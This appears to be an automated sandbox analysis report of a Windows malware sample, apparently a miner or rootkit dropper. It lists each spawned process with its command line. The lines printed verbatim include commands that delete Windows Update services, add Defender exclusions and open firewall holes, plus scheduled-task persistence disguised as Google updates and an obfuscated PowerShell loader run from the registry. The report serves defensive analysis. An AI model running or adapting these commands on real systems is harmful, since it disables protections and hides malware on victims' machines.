Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 944, Parent PID: 3156

General

Target ID:	15
Start time:	13:27:55
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5656, Parent PID: 46932

General

Target ID:	19
Start time:	13:28:02
Start date:	24/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Imagebase:	0x7ff632260000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 46664, Parent PID: 46932

General

Target ID:	20
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff632260000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5892, Parent PID: 5656

General

Target ID:	21
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 4984, Parent PID: 5952

General

Target ID:	22
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Imagebase:	0x11a0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 46484, Parent PID: 46932

General

Target ID:	23
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
Imagebase:	0x7ff7c2af0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 46640, Parent PID: 46664

General

Target ID:	24
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 46472, Parent PID: 5952

General

Target ID:	25
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Imagebase:	0x11a0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1256, Parent PID: 4984

General

Target ID:	26
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5836, Parent PID: 46484

General

Target ID:	27
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 4844, Parent PID: 5656

General

Target ID:	28
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop UsoSvc
Imagebase:	0x7ff7061c0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 2440, Parent PID: 5952

General

Target ID:	29
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0x1130000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4768, Parent PID: 46472

General

Target ID:	30
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 5220, Parent PID: 46664

General

Target ID:	31
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6b4c60000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1316, Parent PID: 2440

General

Target ID:	32
Start time:	13:28:03
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6020, Parent PID: 1088

General

Target ID:	33
Start time:	13:28:04
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\chrome.exe
Imagebase:	0xd30000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 6000, Parent PID: 46664

General

Target ID:	34
Start time:	13:28:04
Start date:	24/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7c72c0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 4804, Parent PID: 5952

General

Target ID:	35
Start time:	13:28:05
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Imagebase:	0x1130000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 2468, Parent PID: 5656

General

Target ID:	36
Start time:	13:28:05
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x7ff7061c0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3208, Parent PID: 4804

General

Target ID:	37
Start time:	13:28:05
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: GoogleUpdate.exePID: 4764, Parent PID: 5952

General

Target ID:	38
Start time:	13:28:06
Start date:	24/11/2022
Path:	C:\Windows\GoogleUpdate.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\GoogleUpdate.exe
Imagebase:	0x1150000
File size:	154456 bytes
MD5 hash:	9A66A3DE2589F7108426AF37AB7F6B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 6148, Parent PID: 46664

General

Target ID:	39
Start time:	13:28:06
Start date:	24/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff6b4c60000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 6188, Parent PID: 5656

General

Target ID:	40
Start time:	13:28:07
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop wuauserv
Imagebase:	0x7ff7061c0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 6200, Parent PID: 46664

General

Target ID:	41
Start time:	13:28:07
Start date:	24/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6b4c60000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 6232, Parent PID: 5656

General

Target ID:	42
Start time:	13:28:08
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop bits
Imagebase:	0x7ff7061c0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 6260, Parent PID: 5656

General

Target ID:	43
Start time:	13:28:09
Start date:	24/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop dosvc
Imagebase:	0x7ff7061c0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 6320, Parent PID: 5656

General

Target ID:	44
Start time:	13:28:11
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Imagebase:	0x7ff7ca840000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 6348, Parent PID: 5656

General

Target ID:	45
Start time:	13:28:13
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Imagebase:	0x7ff7ca840000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 6372, Parent PID: 5656

General

Target ID:	46
Start time:	13:28:14
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Imagebase:	0x7ff7ca840000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 6384, Parent PID: 4764

General

Target ID:	47
Start time:	13:28:14
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Imagebase:	0x8c0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6416, Parent PID: 1088

General

Target ID:	48
Start time:	13:28:15
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\chrome.exe
Imagebase:	0xd30000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 6424, Parent PID: 4764

General

Target ID:	49
Start time:	13:28:15
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Imagebase:	0x8c0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6432, Parent PID: 6384

General

Target ID:	50
Start time:	13:28:15
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 6440, Parent PID: 5656

General

Target ID:	51
Start time:	13:28:16
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Imagebase:	0x7ff7ca840000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6468, Parent PID: 6424

General

Target ID:	52
Start time:	13:28:16
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 6476, Parent PID: 4764

General

Target ID:	53
Start time:	13:28:16
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Imagebase:	0x8c0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6616, Parent PID: 6476

General

Target ID:	54
Start time:	13:28:19
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 6696, Parent PID: 5656

General

Target ID:	55
Start time:	13:28:20
Start date:	24/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Imagebase:	0x7ff7ca840000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: dialer.exePID: 6828, Parent PID: 46932

General

Target ID:	56
Start time:	13:28:33
Start date:	24/11/2022
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff7c4960000
File size:	36864 bytes
MD5 hash:	0EC74656A7F7667DD94C76081B111827
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6940, Parent PID: 46932

General

Target ID:	57
Start time:	13:28:38
Start date:	24/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
Imagebase:	0x7ff7c2af0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6948, Parent PID: 6940

General

Target ID:	58
Start time:	13:28:39
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 7024, Parent PID: 1088

General

Target ID:	59
Start time:	13:28:39
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Imagebase:	0x11a0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 7052, Parent PID: 1088

General

Target ID:	60
Start time:	13:28:40
Start date:	24/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Imagebase:	0x7ff7c2af0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7060, Parent PID: 7024

General

Target ID:	61
Start time:	13:28:40
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7068, Parent PID: 7052

General

Target ID:	62
Start time:	13:28:40
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 7316, Parent PID: 6940

General

Target ID:	63
Start time:	13:28:49
Start date:	24/11/2022
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
Imagebase:	0x7ff73e970000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: updater.exePID: 7500, Parent PID: 1088

General

Target ID:	65
Start time:	13:28:59
Start date:	24/11/2022
Path:	C:\Program Files\Google\Chrome\updater.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\updater.exe
Imagebase:	0x7ff7fef40000
File size:	2884609 bytes
MD5 hash:	EB27BB8CFA99D659E4FE023E9002ECD1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 00000041.00000002.599121882.000002B7FCC50000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Rootkit_R77_5bab748b, Description: unknown, Source: 00000041.00000002.601583178.000002B7FCF50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 85%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 7876, Parent PID: 7500

General

Target ID:	68
Start time:	13:29:08
Start date:	24/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff7c2af0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7888, Parent PID: 7876

General

Target ID:	69
Start time:	13:29:08
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: FKN6uh7y01.exePID: 6040, Parent PID: 3528COMMON

Executed Functions

Function 00405010 Relevance: 117.7, APIs: 45, Strings: 20, Instructions: 3960
filethreadsynchronizationCOMMONCrypto

